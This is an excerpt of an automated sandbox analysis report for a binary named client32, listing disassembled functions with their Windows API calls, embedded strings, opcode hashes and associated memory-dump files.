Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClientCountCursorFromPointTickWindow$RectScreen
String ID:
API String ID: 4245181967-0
Opcode ID: 838e7dc6d1b1be8e942fea838f017d3d945d3eacabb2bdd9570b2d4d2d73d52c
Instruction ID: c3d26e7f0e5f190f00e8d03b3c013bb68f2031b9d5661d68f26c10068d749f7e
Opcode Fuzzy Hash: 838e7dc6d1b1be8e942fea838f017d3d945d3eacabb2bdd9570b2d4d2d73d52c
Instruction Fuzzy Hash: 6391F6B5A0060A9FDB14DFB4D588AEEF7F5FB88314F10452ED86A9B244E735B841CB60

Function 110EF7F0 Relevance: 12.1, APIs: 8, Instructions: 129fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,08000080,00000000,?,00000000,00000000,?,00000000,00000000,00000000), ref: 110EF833

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1bf71b7922f493cf758c4cfdd3d15a835bbe69cd7b2b6006d365e5712d7cb7fa
Instruction ID: a4e4d58371b674908632e53d4b5195e92cf7632325e6b2c19727230f49b969e3
Opcode Fuzzy Hash: 1bf71b7922f493cf758c4cfdd3d15a835bbe69cd7b2b6006d365e5712d7cb7fa
Instruction Fuzzy Hash: 5F41D232E01219AFD714CFB8D889BAEF7F8EF88709F10456AE516D7280DA71E901C791

Function 11025122 Relevance: 12.1, APIs: 8, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,00000050), ref: 11025176
_strncat.LIBCMT ref: 1102518B
SetWindowTextA.USER32(?,?), ref: 11025198

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetDlgItemTextA.USER32(?,00001395,?,00000040), ref: 11025224
GetDlgItemTextA.USER32(?,00001397,?,00000040), ref: 11025238
SetDlgItemTextA.USER32(?,00001397,?), ref: 11025250
SetDlgItemTextA.USER32(?,00001395,?), ref: 11025262
SetFocus.USER32(?), ref: 11025265

Part of subcall function 11024C70: GetDlgItem.USER32(?,?), ref: 11024CC0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$Item$Window$Focus_malloc_memset_strncatwsprintf
String ID:
API String ID: 3832070631-0
Opcode ID: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction ID: 7712de199883e751ea03bfa735f50b434bc7bb1cc5edca5bff12a9cf5cd7df4a
Opcode Fuzzy Hash: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction Fuzzy Hash: 0E4192B5A10359ABE710DB74CC45BBAF7F8FB44714F01452AE61AD76C0EAB4A904CB50

Function 11143700 Relevance: 12.1, APIs: 8, Instructions: 85COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000000,?,76968400), ref: 11143720
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11143733
GetFileVersionInfoSizeA.VERSION(?,?), ref: 11143753
_malloc.LIBCMT ref: 1114375F

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

GetFileVersionInfoA.VERSION(?,?,00000000,00000000,?), ref: 1114377D
_free.LIBCMT ref: 1114378D

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

VerQueryValueA.VERSION(?,1119958C,?,?,?,?,00000000,00000000,?), ref: 111437BE
_free.LIBCMT ref: 111437E1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$HeapInfoModuleVersion_free$AllocateErrorFreeHandleLastNameQuerySizeValue_malloc
String ID:
API String ID: 1929493397-0
Opcode ID: 9489115f83366b84713dec6f38027bb45098fbbfec03c1f8b99d396b43aa2c76
Instruction ID: 787f17739b52c563a3d9ec57c4c9c5daab7db3240080945e734cf0a5696ebb7d
Opcode Fuzzy Hash: 9489115f83366b84713dec6f38027bb45098fbbfec03c1f8b99d396b43aa2c76
Instruction Fuzzy Hash: 6B2182B69041299BCB14DFA4DC85EDAF3BCEF58315F0041A9E94997200DAB1AA94CFA1

Function 110EF410 Relevance: 12.1, APIs: 8, Instructions: 84filememoryCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,111314C6,00000000,?), ref: 110EF428
ReadFile.KERNEL32(00000000,00000000,0000000E,?,00000000,?,111314C6,00000000,?), ref: 110EF43D
GlobalAlloc.KERNEL32(00000042,-0000000E,00000000), ref: 110EF45F
GlobalLock.KERNEL32(00000000), ref: 110EF46C
ReadFile.KERNEL32(00000000,00000000,-0000000E,0000000E,00000000), ref: 110EF47B
GlobalUnlock.KERNEL32(00000000), ref: 110EF48B
GlobalUnlock.KERNEL32(00000000), ref: 110EF4A5
GlobalFree.KERNEL32(00000000), ref: 110EF4AC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Global$File$ReadUnlock$AllocFreeLockSize
String ID:
API String ID: 3489003387-0
Opcode ID: f305f70b0a508e017892b62e48371e8b3f43a3e7fc194d7e2774851c331f3d00
Instruction ID: e8da65f3efd13e976dd0653e531999b36ad0d787b84e76d6cd3085f044a28b2e
Opcode Fuzzy Hash: f305f70b0a508e017892b62e48371e8b3f43a3e7fc194d7e2774851c331f3d00
Instruction Fuzzy Hash: 9F21B676A11019AFD706DFA5D889AFFF7BCEB84319F0100AEF91993180DF609905C7A2

Function 110896A0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 11088970: IsWindow.USER32(?), ref: 1108898F
Part of subcall function 11088970: IsWindow.USER32(?), ref: 1108899D

GetParent.USER32(00000000), ref: 110896E6
GetParent.USER32(00000000), ref: 110896F7

Strings

.chm, xrefs: 1108983F, 110898AD
.hlp, xrefs: 1108985E, 1108988E
WinHelp cmd=%d, id=%d, file=%s, xrefs: 110897D3
debughlp.$$$, xrefs: 110896FF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ParentWindow
String ID: .chm$.hlp$WinHelp cmd=%d, id=%d, file=%s$debughlp.$$$
API String ID: 3530579756-3361795001
Opcode ID: 9709288e38ba78ad4448361af59d9b822e1e5d3bd5bb4326ef2a28d0a396b285
Instruction ID: 8efe40e2fdda8b1370fb50fea0ad5bb7b492340fab8297e239ca8774ad0a57fe
Opcode Fuzzy Hash: 9709288e38ba78ad4448361af59d9b822e1e5d3bd5bb4326ef2a28d0a396b285
Instruction Fuzzy Hash: B2712A74E1825AEFDB11EF649C81FDEB7FCAF88708F0040A5E94597241FA71A944CBA1

Function 110573B0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 188libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(111ED708,59FD48C0,1110EDDD,00000000,00000000,00000000,E8111B5E,111825D3,000000FF,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000), ref: 1107602E
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(0000000C,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,59FD48C0,00000000,00000001,00000000,00000000,1118A168,000000FF), ref: 11076097
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(00000024,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,59FD48C0,00000000,00000001,00000000,00000000,1118A168,000000FF), ref: 1107609D
Part of subcall function 11075FE0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,59FD48C0,00000000,00000001,00000000,00000000), ref: 110760A7
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(000004D0,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,59FD48C0,00000000,00000001,00000000,00000000), ref: 110760FC
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(000004F8,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,59FD48C0,00000000,00000001,00000000,00000000), ref: 11076105

LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1105759C
GetProcAddress.KERNEL32(00000000,WTSGetActiveConsoleSessionId), ref: 110575E1
SetLastError.KERNEL32(00000078), ref: 110575F4
FreeLibrary.KERNEL32(00000000), ref: 110575FF

Strings

Kernel32.dll, xrefs: 11057585
WTSGetActiveConsoleSessionId, xrefs: 110575D7

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CritiusernitializeSection$Library$AddressCreateErrorEventFreeLastLoadProc
String ID: Kernel32.dll$WTSGetActiveConsoleSessionId
API String ID: 3780373956-3165951319
Opcode ID: 53057ca7014f2598cfe3f9c75758400a00b16893141128018dff47bec75b6422
Instruction ID: 5b2845002196474fabc536bb645ff26533f5159a1a467828fb1dae30e08bae14
Opcode Fuzzy Hash: 53057ca7014f2598cfe3f9c75758400a00b16893141128018dff47bec75b6422
Instruction Fuzzy Hash: C47149B4A01215AFDB10CFAAC8C0E9AFBF9FF88314F24819AE91597314D771A941CF64

Function 11071500 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 176COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,59FD48C0,76967CB0,76967AA0,?,76967CB0,76967AA0), ref: 11071554
LeaveCriticalSection.KERNEL32(?), ref: 11071568

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

LeaveCriticalSection.KERNEL32(00000000,?,?), ref: 110716E1

Strings

queue, xrefs: 1107153A
r->queue != queue, xrefs: 11071645
Register NC_CHATEX for conn=%s, q=%p, xrefs: 110715B3
..\ctl32\Connect.cpp, xrefs: 11071535, 11071640

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\Connect.cpp$Register NC_CHATEX for conn=%s, q=%p$queue$r->queue != queue
API String ID: 624642848-3840833929
Opcode ID: 0c8d2ced26a2bd08ab4c29fa8ca54adca0efbc1028afe9b50eb6db0bcfa7742a
Instruction ID: f6d3c874c1d1c48a5cbc4b1d223e4c094ec3a892b4c0f1e6412567ed65325da8
Opcode Fuzzy Hash: 0c8d2ced26a2bd08ab4c29fa8ca54adca0efbc1028afe9b50eb6db0bcfa7742a
Instruction Fuzzy Hash: F061C775E04285DFD715CF68C480FAABBF6FB08318F0985A9E8968B2C1D774E944CB94

Function 1101F490 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101F501

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,00000000), ref: 1101F615
GetSaveFileNameA.COMDLG32(?), ref: 1101F637
_fputs.LIBCMT ref: 1101F663

Strings

X, xrefs: 1101F511
ChatPath, xrefs: 1101F5F1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$FileName$ModuleSave_fputs_memset
String ID: ChatPath$X
API String ID: 2661292734-3955712077
Opcode ID: db4f3b619d315f2bbf7e3485c087bbc2770cef59e8a98ff41368cab619112884
Instruction ID: a33b43f520b97c5360942022e582a7bde0abed0a0bd5764f507ed7251157f071
Opcode Fuzzy Hash: db4f3b619d315f2bbf7e3485c087bbc2770cef59e8a98ff41368cab619112884
Instruction Fuzzy Hash: DB51B574D04329AFDB20DF60CC48B9EBBB4AF45708F0046D9D9096B290EB75EA44CF91

Function 11071740 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 113windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

Part of subcall function 11071500: EnterCriticalSection.KERNEL32(?,59FD48C0,76967CB0,76967AA0,?,76967CB0,76967AA0), ref: 11071554
Part of subcall function 11071500: LeaveCriticalSection.KERNEL32(?), ref: 11071568

Part of subcall function 11071500: LeaveCriticalSection.KERNEL32(00000000,?,?), ref: 110716E1

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

SetTimer.USER32(00000000,00000000,000000FA,00000000), ref: 110717C9
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110717D9
DispatchMessageA.USER32(?), ref: 110717E7

Part of subcall function 1110FC10: EnterCriticalSection.KERNEL32(00000010,00000000,757323A0,1100BE4B), ref: 1110FC18
Part of subcall function 1110FC10: LeaveCriticalSection.KERNEL32(00000010), ref: 1110FC25

GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 11071822

Part of subcall function 1110FC10: LeaveCriticalSection.KERNEL32(00000010,?), ref: 1110FC60

Strings

Receive, xrefs: 11071768
uj, xrefs: 11071816

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterMessage$EventInitialize$CreateCurrentDispatchThreadTimer
String ID: Receive$uj
API String ID: 450530131-2059908200
Opcode ID: 2fa3a773f6bc917990c13475068b23d20034799599438ba5b562ac3510b02e30
Instruction ID: 016ae389b66accaab653c5318acd7ac0fe13e28cef998fca003f328108609293
Opcode Fuzzy Hash: 2fa3a773f6bc917990c13475068b23d20034799599438ba5b562ac3510b02e30
Instruction Fuzzy Hash: 06318575B50316ABEB18DBA1CC42FFEB379FB44B14F404528E621AA1C0EBB4B504C7A5

